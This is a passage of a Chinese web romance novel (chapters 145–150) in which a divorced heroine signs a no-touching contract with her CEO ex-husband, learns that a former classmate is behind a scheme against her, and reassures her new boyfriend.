电话那头的魏凤琴激动不已:“行,我现在就写辞职报告。”
舒星若打给陈予诺,将事情简单的说了,陈予诺说她立刻去办。
舒星若接着说:“问下黄丽歌愿不愿意跟我一起去瑞祥制药上班,愿意的话你帮魏凤琴招个助理。”
“收到,我逐一去办。”
而一旁原本稳操胜券、等着看舒星若如何为难,他来英雄救美的季宴礼,脸上的表情彻底凝固了。
而一旁,原本稳操胜券、等着看舒星若如何为难的季宴礼,脸上的表情彻底凝固了。
他眼睁睁地看着舒星若一个电话,就雷厉风行地解决了行止生物的CEO人选问题,那份从容和高效,让他感到一阵莫名的心悸。
他知道舒星若有能力,但亲眼见识还是挺震撼的。她仿佛一匹脱缰的野马,彻底脱离了自己的掌控。
他安慰自己:“没关系,等她到了瑞祥,跟苏容泽会渐行渐远的。”
第145章 如果对你不敬,我把整个瑞祥送给你
舒星若见他想得出神,嘴角还有得意的笑容,心中疑虑更加深了。
舒星若沉下脸来说:“你不要想着打我的主意,我也绝不会再单独去总裁办。”
想起前几天的事她还心有余悸。
季宴礼也后悔那天的冲动,他冷静下来想,一定不能冲动,否则只会将舒星若越推越远。便宜了苏容泽那个绿茶男。
他恢复以往光风霁月的样子,“星若,你放心,以后我会控制住自己,如果控制不住,我把整个瑞祥都给你。”
虽然他无时无刻的不想把她拉进怀里,但他更怕她彻底离开自己。没有她的这些日子里,他觉得天空是灰暗的,家里像冰窖一样。
舒星若眼里闪过一阵玩味,揶揄道:“那季总签个合同来,空口无凭。”
她本是随口一句玩笑,想看他知难而退的窘迫模样。
季宴礼顿了顿,深邃的眸子锁着她,似乎在权衡什么。
舒星若正要开口嘲讽他果然只是说说而已,却听他沉声道:“好,我答应你。”
话音刚落,他便立刻拿出手机,当着她的面拨通了一个号码。
电话那头很快传来一个恭敬的男声:“季总。”
“郑希傲,”季宴礼言简意赅,“帮我准备一份合同,如果我对舒星若不敬,瑞祥制药季氏名下所有的股份,无条件全部转给她。”
电话那头的郑希傲,季氏法务部不败的神话,此刻感觉自己的职业生涯受到了前所未有的挑战。
他手里的咖啡差点洒在刚做好的文件上,脑子里嗡嗡作响。
我这精明一世、在商场上杀伐果决的总裁是脑子坏了吗?还是被什么东西夺舍了?这种堪称“**式”的合同,他是怎么想出来的?
郑希傲扶了扶眼镜,试图用自己最后的专业素养挽救一下局面,他颤声道:“季总这个‘不敬’的定义范围比较宽泛,为了合同的严谨性,您看具体行为包括哪些?”
季宴礼想都没想,直接把电话塞进了舒星若手里,薄唇轻启,语气坚定的说:“具体不敬的行为你来跟他说。”
舒星若拿着还带着他体温的手机,手心一阵发烫,脸颊也瞬间烧了起来。
季宴礼这货脑子是进水银了吗?玩真的?
电话那头的郑希傲听到这边的沉默,更加肯定了自己的猜测,他用一种极其郑重的语气说:“合同上列举出的行为,季总都不可以犯,这关乎到整个瑞祥的归属权,请您务必想清楚。”
舒星若瞪了季宴礼一眼,咬了咬牙,对着电话说:“他不可以抱我、亲我、更不可以强制我做任何我不愿意的事。”
最后一句,她几乎是咬着后槽牙说出来的。她眼前浮现的全是那天差点被他**的画面。
“……”郑希傲在电话那头沉默了足足三秒。
懂了。
原来季总私下喜欢玩强制爱,结果玩脱了,惹恼了前夫人。现在这是在用整个瑞祥来求前夫人原谅呢。
高端,实在是高端。
郑希傲用他从业十年来练就的专业憋笑能力,硬生生忍住了即将喷薄而出的大笑冲动,清了清嗓子,一本正经地说:“好的,明白了。嗯,我这就拟出来,十五分钟内发到季总邮箱,太太看着没问题就可以签字了。”
“我不是你们季总的太太了,”舒星若蹙眉,冷声纠正,“叫我舒总,不许叫错。”
“是,是,舒总。”郑希傲从善如流。
一旁的季宴礼听着她这句撇清关系的话,心口微微刺痛,却在心里默默喊道:你永远都是我的太太。
挂了电话,舒星若把手机扔回给他,气氛一时有些微妙。
季宴礼像没事人一样,开口道:“合同签了,那你明天就要走马上任。”
“好!”舒星若应得干脆。
他又贴心地说:“行止科技CEO如果来不及,空窗期的这几天我可以每天跟你一起处理事务,帮你尽快上手。”
舒星若满腹狐疑地打量着他。
季宴礼这是转性了,变得这么“善解人意”?事出反常必有妖,她得小心谨慎。
舒星若摇头拒绝:“不用,新CEO这一两天就会到,我这两天加加班,问题不大。”
季宴礼脸上露出一丝恰到好处的失落,随即又诚恳地说道:“星若,只要你有困难尽管跟我开口,我怕你会辛苦。”
他这话说得诚恳,眼神里也带着真实的关切,舒星若心头微动,终究还是缓和了语气:“谢谢你!”
解决这些事宜之后,舒星若不想再跟他多说,继续埋头处理自己的工作。
没想到,季宴礼也从公文包里拿出笔记本电脑,在她身旁的的
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沙发上坐下,摆开了要办公的架势。
舒星若挑眉:“你要在我家办公?”
季宴礼抬起眼,漆黑的眸子里竟带着几分小狗似的乞求:“星若,我想晚上陪你和儿子吃晚饭,我想他了。而且,还要等郑希傲的合同。”
他把儿子和合同都搬出来了,舒星若还能说什么。
“行吧。”
于是,宽大的客厅里出现了诡异又和谐的一幕。两人在沙发上各占一角,互不打扰,只有键盘敲击的清脆声此起彼伏。
在厨房准备晚餐的佣人探出头看了一眼,默默感慨,这俩这颜值,这智商,这工作的架势,简直就像在看选美版的商战剧。
就是不知道舒小姐到底选苏总还是选前夫哥。
郑希傲不愧是金牌律师,效率极高。不到十五分钟,合同就发到了季宴礼的邮箱。
季宴礼把笔记本转向舒星若,示意她看。
舒星若凑过去,仔细看了每一条条款,从“甲方(季宴礼)不得在未经乙方(舒星若)同意的情况下,与乙方发生任何超出安全距离(暂定为五十厘米)的肢体接触”,到“包括但不限于拥抱、亲吻、牵手等行为”,再到“若甲方违反以上任何一条,名下瑞祥制药所有股份将自动转入乙方名下,本合同即时生效,具备最高法律效力”。
条款清晰,逻辑严谨,没有任何文字陷阱。
她打印出来,利落地签上了自己的名字。
季宴礼接过笔,毫不犹豫地签下了自己的大名。
签完合同的那一刻,季宴礼心里简直乐开了花。
感觉像是回到当年注册结婚的情形。
一份合同,不仅让他有了光明正大留在她身边的理由,还让她亲口定下了“规矩”。规矩是死的,人是活的,有了规矩,就有了打破规矩的乐趣。
离舒星若又近了一些。
正在这时,门口传来了孩子们的笑闹声。
到了季知许和何依晴放学的时间,他们被司机接了回来。季知许一改昨天的冷淡,正跟柯依晴聊得手舞足蹈,眉飞色舞,两人的笑声隔着门就传了进来。
推开门,季知许脸上的笑容还没散去,一抬头就见到了沙发上的季宴礼,脸上的笑意瞬间凝固了。
他愣愣地看着季宴礼,开口问道:“爸爸,你怎么来了?”
第146章 被儿子套路住了
季知许语气里的疏离像一根细小的针,稳稳地扎在季宴礼的心上,不疼但可以流血。
他眉头微蹙,声音沉了下去,“你不想我吗?”
这话问得直接,带着他上位者的压迫感,让旁边沙发上的舒星若都忍不住抬了抬眼皮。
柯依晴眨巴着大眼睛,小脑袋里充满了问号。
许许哥哥为什么好像不太喜欢他爸爸?爸爸不是应该最亲近的人吗?
季知许这个小人精,立刻就感觉到了气压的变化。
他眼珠子一转,脸上瞬间堆起一个乖巧又懂事的笑容:“我想爸爸啊,我天天都想。我就是觉得爸爸日理万机,还要抽空来看我们,实在是太劳累了。”
舒星若端着水杯,差点没忍住笑出声。
明明每天在家跟苏容泽玩得很开心,跟季宴礼的每晚视频都是例行公事。
这小家伙的鬼话真是信手拈来,也不知道是像谁。
季宴礼的脸更沉了,这番客套话,比刚才的疏离更让他火大。
“我就住隔壁,走几步路的事,哪来的劳累?”
他心里极度不悦。
老婆被苏容泽那个绿茶男惦记着,难道现在连儿子也要跟他生分了吗?
这怎么能行?
季知许一看情况不妙,立刻迈着小短腿跑到茶几边,倒了一杯温热的茶,双手捧着,像个小太监似的恭恭敬敬地递到季宴礼面前。
“爸爸,对不起,是我说错话了。您大人有大量,宰相肚里能撑船,千万别跟我这个小破孩计较。”
一套连招下来,把季宴礼的火气给浇熄了大半。
他接过茶杯,看着儿子这副狗腿又可爱的模样,再大的火也发不出来了。
他轻抿了一口茶,温度正好,暖意顺着喉咙滑下,心里的不快也散了。
“儿子,爸爸就在旁边,想我了随时可以过来。”他放下茶杯,语气缓和了许多。
季知许心里腹诽,你忙得脚不沾地,我去找你,怕是只能跟你的助理预约吧。
嘴上却乖巧地点头:“嗯,爸爸,我知道了。”
说完,他生怕季宴礼再问出什么让他难以招架的问题,立刻拉起柯依晴的手,“晴晴,我们去看唐阿姨。”
两人手拉手跑进了唐梵的病房。
唐梵中午做完治疗后睡了一觉,这会儿刚醒,精神头看着不错,苍白的脸上竟透出几分健康的红润。
柯依晴一看到妈妈气色变好,眼睛都亮了,像只快乐的小蝴蝶扑到床边:“妈妈,你今天看起来好漂亮哦!”
唐梵被女儿逗笑了,“是吗?”
季知许殷勤地从旁边的床头柜上拿起一面小镜子,举到她面前:“唐阿姨,你自己看,真的变漂亮了,像仙女一样。”
镜子里的那张脸,虽然依旧消瘦,但眉眼间挥之不去的灰败和死气确实淡了许多。
受伤之后,唐梵不是没照过镜子,那时候的自己,暮气沉沉,仿佛生命随时都会走到尽头。
舒星若的治疗让她疼痛缓解,睡眠安稳,整个人都透着一股向上的生机。
唐梵眼眶一热,笑着说:“嗯,舒医生可真是厉害。”
她看着女儿和季知许凑在一起叽叽喳喳,心里最后一点担忧也放下了。
她温和地看向季知许:“许许,你昨天为什么不理我们晴晴呀?”
季知许的小脸“腾”地一下红了,有些不好意思地挠了挠头:“因为我担心你们来了,会影响我和妈妈元旦出去滑雪。”
唐梵心中一惊,她要去滑雪?那我怎么办?这个念头刚冒出来,她就感到了羞愧,舒星若又不是她私人的,她应该有自己的生活。
她声音发颤:“那……那现在怎么不担心了?”
季知许挺起小胸膛,一副小大人的模样:“妈妈说了,唐阿姨你现在是恢复的关键时刻,一分一秒都耽误不得,她离不开。滑雪什么时候都能去,但是晴晴不能没有妈妈照顾。我虽然有一点点不开心,但我觉得妈妈说得对。”
他顿了顿,拍了拍柯依晴的肩膀,神情像个小老大:“唐阿姨,你放心治病。我跟晴晴一起上学,在学校我罩着她,保证没人敢欺负她!”
唐梵又是感动又是好笑,感慨万千。
舒星若不仅医术高超,还将孩子教养得这么好,懂事、善良,有担当。
“好孩子,等阿姨好了,带你们去瑞士滑雪,那里的雪山才叫漂亮。”
话音刚落,舒星若和季宴礼一起走了进来。
季宴礼正好听到最后一句,他看向舒星若,有些惊慌的问道:“你们想去瑞士?”他怕舒星若为了
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躲自己移民瑞士,那他就鞭长莫及了。
舒星若摇了摇头:“之前答应许许元旦带他去滑雪,现在唐梵情况特殊,我们走不开。”
季宴礼心里立刻拉响了警报,她提都没提元旦出去滑雪的事,八成是要带上苏容泽那个绿茶男!
一想到舒星若和季知许跟另一个男人在雪山笑语晏晏的画面,他就觉得肺都要气炸了。
舒星若没理会他的小情绪,径直走到床边,伸手搭上唐梵的手腕。
她的表情一如既往的平静,毫无波澜,看得唐梵心里直打鼓。好歹给点表情啊?是好是坏你倒是吱一声啊?
季宴礼可太能理解此时的唐梵了,当初舒星若给他号脉,一个皱眉,吓得他整晚没睡好。
半晌,舒星若收回手,说道:“气血通畅了很多,淤堵之气也散了大半。过几天身体再养养,就可以整复腰骨了。”
这话如同一道惊雷,在唐梵脑中炸开。
她死死抓住被子,眼睛瞪得溜圆,“那我什么时候可以坐轮椅?”
“顺利的话,下周一左右。”
“哇!”唐梵再也忍不住,喜极而泣,眼泪像断了线的珠子一样滚落下来,“星若,太感谢你了,真的,太感谢你了……”她以为自己这辈子就要在床上烂掉了,没想到竟然还有重新坐起来的一天。
病房里充满了劫后余生的喜悦,唯有季宴礼格格不入。
他看着被唐梵紧紧抓住手的舒星若,思绪飘回了自己接受治疗的时候。
那时候,他每天对她冷言冷语,将她的付出视作理所当然。如果当时自己能对她好一点,哪怕只有一点点,现在他们之间,会不会是另一番光景?
他当年真是脑子进水了,怎么会怀疑舒星若的人品?
可惜,这世上从来没有如果。
她拼尽全力,就是要离开自己。
他胡思乱想之际,一阵手机铃声突兀地响起,打破了病房里的温情。
季宴礼掏出手机,低头一看,屏幕上跳动的字让他眼神瞬间冷了下来——苏容泽。
这阴魂不散的绿茶男,找自己干什么?炫耀吗?
季宴礼周身气压骤降,他拿着手机,一言不发地走到外面的客厅,滑动接听键,声音冷得能掉出冰渣子:“你找我什么事?”
第147章 疯批的报复
苏容泽清冷的声音传来:“何欣上次害若若的幕后黑手我找到了。”
季宴礼呼吸急促:“是谁?”
自己费了九牛二虎之力都没找到,竟然被他找到了。
苏容泽更加让他讨厌了。
苏容泽说:“高山远。”
季宴礼大惊失色,声音因为吃惊而抬高:“高山远?”
季宴礼的思绪陷入回忆之中,高山远是他们的大学同学,也就是舒星若在食堂门口救的那个男生。
季宴礼记得他是因为他是他们那届的优秀毕业生,而且他毕业之后变成了京市一个大家族的长子。
听说上个月他继承了高家的所有。
当年舒星若救了高山远之后,他心里非常开心,舒星若这样的高岭之花竟然救了自己。
高山远生在单亲家庭,加上从小得了羊癫疯,从小到大他都很自卑。
只会埋头学习。
舒星若的救治像一缕阳光照进他的心间,他发誓一定要让自己强大起来,得到这个女孩。
后来舒星若又在校园里遇见他,询问了他的病情,得知他家里困难。
舒星若二话不说将他带回行止堂,让舒延兆彻底的治愈了他。连医药费都没收。
高山远跟他母亲都很感激舒星若,他更加坚定了要娶舒星若的念头。
但他明白,舒星若目无下尘,人美心地又好,于他而言,像天上皎洁的明月。
那时的他只会在远处默默观察舒星若,不敢靠近她。
直到舒星若在毕业典礼上的一曲弹奏,他循着舒星若的视线,发现她饱含深情凝视的那个人是季宴礼,原来她爱上了季宴礼。
高山远偏执阴暗,他无法接受舒星若爱上了别人。
恨不得当场杀了季宴礼,夺回舒星若。
可惜的是,毕业典礼后高山远就被家里人认回,带到了京市,没多久就送他出国深造。
直到今年八月份他父亲病重才回国,回国第一件事他想去找母亲和舒星若,却发现自己的母亲早在六年前就被高家人害**。
高山远顿时血气上涌,花大价钱找人调查。
调查了一圈,发现是他父亲高忠和原配李婉梦联手干的。
高山远的母亲陆香薇,本是高忠在外面养的情人。生下患有羊癫疯的他,母子俩被高忠无情的抛弃了。
从大佬情妇到弃妇,陆香薇也想抛弃高山远,但想到高家的亿万家产她就不甘心,她发誓要将儿子培养出来。打败原配生的孩子。
将来认祖归宗,给高家长脸,自己也可以母凭子贵。
独自抚养孩子的过程比她想像中要艰难得多,陆香薇的精神出了问题,时常在发作时毒打高山远。
清醒之后看着满身淤青的高山远又后悔,搂着他声泪俱下的道歉。
高山远对陆香薇既爱又恨,恨她为什么要生出自己,爱的是她不犯病的时候对自己真的很好。
他心里明白,母亲是他唯一的依靠。眼下只能拼命读书,才能得到更好的生活。回到高家,那是天方夜谭。
就这样一路熬到大学。
大学学费靠着助学贷款,平时有空就去勤工俭学。
这样的他怎么敢靠近自信美丽的舒星若?
直到高山远大学毕业,高忠和李婉梦没有生出儿子来。高家听说高山远考了重点大学、病也治好了,还是优秀毕业生,便认回这唯一的儿子。
但是李婉梦怎么甘心亿万家产拱手他人,要求认祖归宗的高山远必须出国,不许在她眼皮子底下晃悠。
高忠也想斩断他和陆香薇的牵绊,同意了李婉梦的要求。
就在高山远出国的第二天,高忠就和李婉梦替换了陆香薇的药,让她在发病时掉进人工湖里淹**。
陆香薇到死也没等到她梦寐以求的富贵。
高山远基因里隐藏的精神病基因发作,他固执的认为是舒星若间接害**陆香薇。
如果不是自己羊癫疯治好了,就不会被高家认回,那么母亲就不会死。
都怪舒星若的自作聪明,害**他母亲。
从此后他恨**舒星若。
当然他也不会放过凶手们。
高忠在医院里被高山远拔了氧气管,李婉
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梦和她的女儿被高山远被他赶出了高家,身上所有的资产都被没收。
继承遗产加上和原配内斗,花了他整整三个月的时间。
到了十一月,他开始着手对付舒星若。
苏容泽的黑客朋友们调查出来,是高山远找人花重金攻破了化蝶游戏的防火墙,盗取了新游戏核心代码。
高山远并不求财,他只为恶心苏容泽,兼让东盛集团损失惨重。
谁让他整天跟舒星若出双入对,高山远找人查舒星若的时候,看到苏容泽搂着舒星若的照片气得破口大骂。
“贱女人,离了一个废物季宴礼,迫不及待的找了另一个男人。我妈被她害**,她凭什么逍遥自在?”
于是他找到何欣,跟她合作对付舒星若。
他要让舒星若看着自己的心血被毁灭,让她失去一切。
到时候,自己也许可以怜悯她一下,赏她一口饭吃。
不过这口饭必须要她跪着求自己。
苏容泽将高山远的身世大概说了,季宴礼忍不住骂道:“真是个神经病,星若当年不在食堂门口救他,他搞不好当场就挂了。现在反倒怪星若害死他妈,真是疯得没边了。”
高山远身边的人都知道他报复舒星若的原因,很少有人知道是舒星若救了他,他得不到她,迁怒于她。
苏容泽说:“高家在京市势力庞大,高山远虽然根基不稳,但是要对付他需要我们俩联手。”
电话这边的季宴礼沉默了,他要和苏容泽联手?
这个他痛恨到骨子里的男人。
但是一想到舒星若要独自去面对高山远这个疯批,季宴礼将一切都抛诸脑后。
“好,我答应你。”
舒星若走了出来,刚她看见是苏容泽的名字了,她在里面等了半天也没见季宴礼进来。出来看看,就听见了这么一句。
舒星若有种不祥的预感,这两人成天针尖对麦芒,怎么季宴礼突然态度这么好了?
见到舒星若,季宴礼匆忙挂了电话。
舒星若心中的疑窦更深:“你答应苏容泽什么了?”
第148章 在舒星若人身安全面前,一切都得靠边站
季宴礼说:“找到何欣上次害你的幕后黑手了,那人背景深厚,我打算跟苏容泽联手对付他。”
舒星若蹙眉,倒吸一口冷气。
能让季宴礼和苏容泽这两个实力雄厚死对头联手,对方得是什么来头?自己何德何能,什么时候招惹了这种级别的人物?
“我到底得罪谁了?”
季宴礼眼中寒光一闪,咬牙切齿的说:“高山远那个疯子。”想起高山远他就火大,哪有人这样的?
“啊?”舒星若一度以为自己听错了,满脸的匪夷所思,“我没得罪过他啊,毕业以后我都没见过他。而且当年他生病,我还让外公免费给他治好了。就算他不图报答,也没道理反过来要害我吧?”
这简直是天方夜谭。
季宴礼冷哼:“所以才说他是疯子。”
他简单将高山远的经历讲了一遍,他母亲的死让他心理严重扭曲。苏容泽的调查没有查到高山远曾暗恋过舒星若,因为这事只有他自己知道。
舒星若听得目瞪口呆,最后气笑了:“这不就是现实版的农夫与蛇吗?他电话多少?给我,我非得打电话过去问候一下他脑子是不是被驴踢了。这不纯纯的有病吗?”
说着,她就打开了手机,一副准备开战的架势。
季宴礼一把按住她的手,“这种疯狗你招惹他干什么?交给我和苏容泽,我们会商量怎么弄死他。”
舒星若愤愤地收起手机,忍不住骂道:“妈的,我上辈子是刨了他家祖坟吗,怎么会摊上这种疯子?以后真是不能瞎发善心了。”
她这话一出口,对面的季宴礼心虚地端起茶杯,默默喝了一大口,滚烫的茶水入喉,他才感觉压下去了心慌。
这些年,自己不也正是她救过却反咬一口的蛇么。
他不敢接话,生怕战火烧到自己身上。
佣人们适时地将一盘盘精致的菜肴端上桌,轻声喊道:“舒小姐,可以吃饭了。”
季宴礼如蒙大赦,迫不及待地在餐桌前坐下,搓着手,一副等着开饭的小学生模样,眼睛亮晶晶地盯着满桌的菜。
舒星若看着他这副样子,只觉得讽刺又可笑。
曾几何时,她记着他的口味,精心搭配好一桌餐食,满心欢喜地等他回家。可等来的,永远是电话那头他不耐烦的呵斥:“不是说了别烦我吗?我在忙!不向你成天在家无所事事,就知道骚扰我。”
如今这急不可耐的样子,又是演给谁看呢?
佣人去唐梵的病房喊了两个小朋友,他们洗完手就跑了过来。
季知许挨着舒星若坐下,看着对面正襟危坐的爸爸,小脸上满是新奇。在他的记忆里,爸爸陪他们吃晚饭的次数,一个巴掌都数得过来。
他忍不住脆生生的问道:“爸爸,你今天怎么有空陪我们吃晚饭呀?”
季宴礼立刻露出一个自以为温和的笑容:“爸爸以后每天都有空陪你们吃饭。”
“哐当”一声。
舒星若将手中的汤碗重重放下,汤汁都溅出来大半。
她抬眼,目光冰冷地看着季宴礼,毫不客气地说道:“我可没同意你自由出入我们家。”
季宴礼脸上的笑容一僵,她还是这么抗拒自己,没有一丝一毫的软化。
他身子微微前倾,压低了声音,近乎乞求:“在儿子面前,给我留点面子行不行?”
“不行。”舒星若斩钉截铁,眼神坚定得像是要当场宣誓入党,“季总,我有自己的生活,请你不要随意来打扰我。”
季宴礼心头一紧,呼吸都凝滞了一会
但他很快又调整过来,心里盘算着,没关系,反正她要去季氏上班了,以后有的是机会见面。他就不信,近水楼台得不到月。
这顿饭吃得异常沉默。
饭后,季宴礼还想赖着不走,试图跟孩子们玩一会儿,舒星若直接对季知许说:“许许,去送送你爸爸。”
言下之意,逐客令。
那货一步三回头地走了之后,舒星若夸张地打开窗户,长舒一口气。他走了,家里的空气似乎都清新了不少。
深夜,深市。
苏容泽处理完万鑫电子最后的收尾工作,回到酒店第一件事就是冲进浴室洗去一身疲惫。
热水也冲不散他对舒星若的思念,那思念如涨潮的海水,一波波地冲击着他的心岸。
腕表指向十点半,不知道她睡了没有。
他擦着头发,
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拿起手机,指尖在屏幕上轻轻敲击:【若若,我想你了。】
消息刚发出去,屏幕就亮了起来,视频通话的邀请弹了出来。
苏容泽秒接。
手机那头,舒星若正穿着睡衣靠在床头,她强撑着在看书等他的信息。
她哈欠打了几十个了,眼神都迷离了,看见他时眼睛却亮得惊人。
“小泽泽,我好想你。”她的声音带着浓浓的鼻音和倦意,却甜得像蜜。
苏容泽的心瞬间软成一片,唇角不自觉地勾起:“若若,我每天晚上都是看着你给我录的视频才能睡着。”那个舒星若给她录的颈椎操白天治疗他的身体,晚上治愈他的内心。
“我这边大概还有三天忙完,”苏容泽长长地叹了口气,“简直就是折磨,还有三天才能见到你。”
他第一次觉得出差这么漫长。
热恋中的情侣,一日不见如隔三秋。
舒星若对苏容泽的挂念也是与日俱增,嘴上却懂事地说:“你安心工作,家里的事不用担心,我等你回来。”
“对了,”她话锋一转,“高山远的事,季宴礼都跟我说了。如果可以,你把他电话给我,我真想亲自问问,我到底欠他什么了?要这么来害我。”
苏容泽一听,立刻摇头拒绝:“别,若若,不要和疯子讲道理。这件事你别管,我会和季宴礼一起弄死他。”
找季宴礼合作,是苏容泽权衡再三的决定。
他厌恶季宴礼,内心深处也惧怕他们频繁接触会旧情复燃。但这些私心,在舒星若的人身安全面前,都得靠边站。
舒星若听出他语气里的坚决,情绪不由得低落下来:“哎,说到底,又是我连累了你。”
“傻丫头。”苏容泽看着她黯然的神色,心疼不已,放柔了声音,“你是我苏容泽认定的未来妻子,我怎么能让别人随便欺负你,那岂不是显得我很无能?”
舒星若被他逗笑了,心里的阴霾散去不少:“嗯,我的小泽泽是全天下最厉害的人。”
“那当然。”苏容泽得意地扬了扬眉。
舒星若顿了顿,有点心虚的说道:“对了,有件事跟你说,我明天要去瑞祥制药上班了。”
第149章 怎样让舒星若早点嫁给我
苏容泽感觉自己的头像被人用重锤狠狠砸了一下,眼前都有些发黑。
他紧紧攥着手机,手开始发抖,脸色大变,声音不受控制地变形,“怎么这么突然?行止生物你不要了吗?”
他的心跳瞬间失序,像一面被疯狂擂动的战鼓,咚咚咚地撞击着胸腔。
这才分开两天,就两天而已,她这是要重回季宴礼的怀抱了吗?
季宴礼这个混蛋,到底使了什么手段?
屏幕前的舒星若立刻看见了他的惊慌失措,连忙放柔了声音,像是在安抚一只炸了**的大猫:“容泽,你别急,不是你想的那样。我对他早就死心了,不可能跟他复合,你把心安安稳稳地放回肚子里去。”
这软糯的安抚像一剂镇定剂,苏容泽狂跳的心稍微平复了些,但脸色依旧紧绷着。
原来不是为了复合,还好,还好。
那她是为什么要去季氏旗下的公司上班?
舒星若听着他粗重的呼吸声,知道他还没完全放心,便一五一十地解释起来。
“瑞祥制药的那个CEO因为贩卖商业机密被抓了,最近他们有三款新药要上市,那三个药方是我之前卖给他们的。那三款药是我们舒家的祖传秘方,非常珍贵。季宴礼怕再出什么纰漏,泄露了秘方,所以请我去主导新药上市。”
她顿了顿,接着说道:“而且我跟他签了协议,一份让他肉痛到不敢乱来的协议。他要是敢在工作之外对我进行任何形式的骚扰,或者试图越界,瑞祥制药的股份就得无条件全部转到我名下。”
苏容泽听完,心里第一个念头就是:瑞祥药业原本的CEO,八成是季宴礼整走的。
他这么大动干戈的目的有且仅有一个,利用工作机会接近舒星若。唤起她曾经的感情。
“行止生物那边我已经请好了职业经理人,绝对可靠。”舒星若的声音再次传来,带着抚慰人心的坚定,“容泽,你放心,我不会背叛你的。”
苏容泽的脸颊莫名有些发烫,是心虚,也是羞愧。
他竟然怀疑她的人品。
“若若,我不是不信你,我是怕季宴礼那个卑鄙小人……他心思太深,我怕他无时无刻的勾引你。”
他的一颗心就这么七上八下地悬着,既怕季宴礼手段阴险,更怕舒星若会念及旧情。
毕竟,那是她爱了那么多年的人,是她的初恋,是她整个青春的执念。
季宴礼对舒星若不甘心和占有欲,苏容泽看得一清二楚。
让她去瑞祥,就是黄鼠狼给鸡拜年,没安好心。
可他能说什么?他怎么忍心去折断她的翅膀,阻止她去做自己想做的事业,让她无法追求自己喜爱的自由生活呢?
“嗯,我会跟他保持距离的,放心。”舒星若乖巧地点头,隔着屏幕她都想抚平他紧锁的眉头:“容泽,不要患得患失。我爱你,一直都会爱你,除非你自己不要我。”
这句话像一道暖流,瞬间抚平了苏容泽所有的焦躁。
他提到嗓子眼的心终于安然归位,连眉眼都舒展开来,盛满了温柔的笑意:“若若,我怎么会不要你?就算我妈拿着刀架在我脖子上,我都会坚定不移地选择你。”
舒星若的小俏脸像绽放的向日葵,明媚灿烂:“谢谢小泽泽的坚定,晚安,早点休息。不要熬夜工作不睡觉,回来我可是要给你把脉的哦!”
“遵命,老婆大人。”
被叫老婆,舒星若没有反驳,苏容泽心里美滋滋的。
挂了电话,房间里恢复了沉寂。
苏容泽脸上的笑意渐渐隐去,心底的不安如藤蔓般悄然爬上心头。
不行,不能再这么下去了。
他必须尽快跟舒星若结婚,用一纸婚书确立她苏太太的身份,这样才能彻底断了季宴礼的念头。
可是,舒星若暂时没有结婚的打算。他烦躁地在房间里踱步,得想个万全之策。
脑中灵光一闪,他想到了一个人——林安禾。
立刻抓起手机,给林安禾发了条微信:【请问你休息了吗?我有事要找你。】
林安禾几乎是秒回:【什么事?】
大半夜的,这男人找她,难道是跟星若的感情出问题了?
苏容泽等不及打字,直接将电话打了过去。
电话一接通,他便开门见山:“林小姐,季宴礼让若若回瑞祥制药上班,我怕他是想制造机会跟若若独处。我想尽快跟若若结婚,但她暂时没有这个想法。你跟她关系最好,能不能帮帮我?”
林安禾听完,差点气笑了。她在电话那头翻了个大大的白眼,心想:我为什么要帮你?你是我的谁啊?星若可是我的亲亲闺蜜,我以她马首是瞻。
嘴上却客气又疏离地回绝:“苏先生,星若是个很有主见的人,她的想法,我不能左右。”
开什么玩笑,她作为金牌离婚律师,见过太多婚姻的坟墓了。谈恋爱可以轰轰烈烈,结婚必须慎之又
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慎。
毕竟离婚那么麻烦,分手可就简单多了。
苏容泽听着她公事公办的语气,突然觉得自己脑子进了水。他怎么会想到让一个对婚姻失望的离婚律师,去帮他劝人结婚?
她不撺掇他们分手,都算是看在舒星若的面子上,对自己最大的仁慈了。
他揉了揉眉心,抛出了**锏,清冷的声音里带着决绝:“林小姐,我不娶若若,季宴礼那个疯子就会天天缠着她复婚。”
“复婚?”林安禾的声音瞬间拔高了八度,怒火平地而起,“他有什么脸要星若复婚?”
舒星若上辈子是刨了谁家祖坟,这辈子嫁了这么个狗东西!
一想到季宴礼之前对舒星若做的那些事,林安禾就一肚子火。
“行了,我知道了。”林安禾的语气一百八十度大转弯,“等我有空帮你问问她的真实想法。如果她想嫁给你,我会帮你劝几句,尽早结婚。如果她不想,那我爱莫能助,你也别再来烦我。”
苏容泽闭上眼睛,疲惫地叹了口气。这话说了跟没说一样,但好歹有了个突破口。
“谢谢你。”
不管怎么说,这位是未来老婆最亲密的闺蜜,千万不能得罪。换作旁人,苏容泽高低得阴阳怪气两句。
翌日清晨,冬日的暖阳穿过玻璃,在阳台上洒下柔和的光斑。
舒星若起了个大早,给唐梵做完一套针灸治疗,看了眼时间,才刚到六点半。
唐梵躺在病床上,精神好了许多,她有些不好意思地说:“星若,你要上班,还特意起这么早为我治病,你这身体吃得消吗?”
舒星若一边收拾银针,一边不以为意地笑道:“唐姐,这有什么。你能重新站起来,就算我积善行德了。”
对她而言,此生最大的乐趣便是看病救人,从阎王手里抢人。即使要兼顾工作,她也乐在其中,丝毫不觉得辛苦。
唐梵眼眶有些湿润,由衷地说道:“你是除了我父母和晴晴以外,唯一一个真心希望我康复的人。”
“别这么说,”舒星若轻轻拍了拍她的手背,温声安慰道,“你先生,他肯定也希望你能痊愈的。”
她很怕唐梵郁结于心,这对病情恢复极为不利。病人的心情,比药物还重要。
唐梵脸上的感激骤然褪去,瞬间覆上了一层冰霜,她冷冷地扯了下嘴角。
“未必。”
舒星若的手一顿,惊讶地抬起头:“此话怎讲?”
第150章 苏容泽,你就等着舒星若重回我的怀抱吧!
舒星若心中的八卦之魂蠢蠢欲动,柯兴昌那老小子看着人模狗样的,难道背地里真参与了什么恶事?
她努力维持着专业医师的严肃,压抑着眼底的好奇。
毕竟这是唐梵的伤心事,她不能表现得太八卦,那就是往人家伤口上撒盐。
唐梵脸色苍白,眼神里燃烧着愤怒的火苗,她冷笑一声:“我的助理沈媛媛招供了,承认是她在我的安全绳上动了手脚。你猜猜,她是为了什么?”
这语气里的嘲讽,让舒星若心里咯噔一声,**!
她瞪大眼睛,试探着问:“不会是柯兴昌跟她有一腿,指使她这么干的吧?”
唐梵摇了摇头,眼中的自嘲更浓,仿佛听到了天大的笑话:“沈媛媛说,她爱上了我。因为爱我爱到无法自拔,得不到就要毁掉,所以才想让我摔成残废,这样就能一辈子照顾我。”
“啊?”舒星若彻底愣住了,这理由荒谬到她差点以为自己听错了。
她脸上明晃晃地写着一万个不相信,“她之前没有男朋友吗?一个女的,爱上你?”
唐梵刚从警方那里得到消息时,反应和舒星若如出一辙。
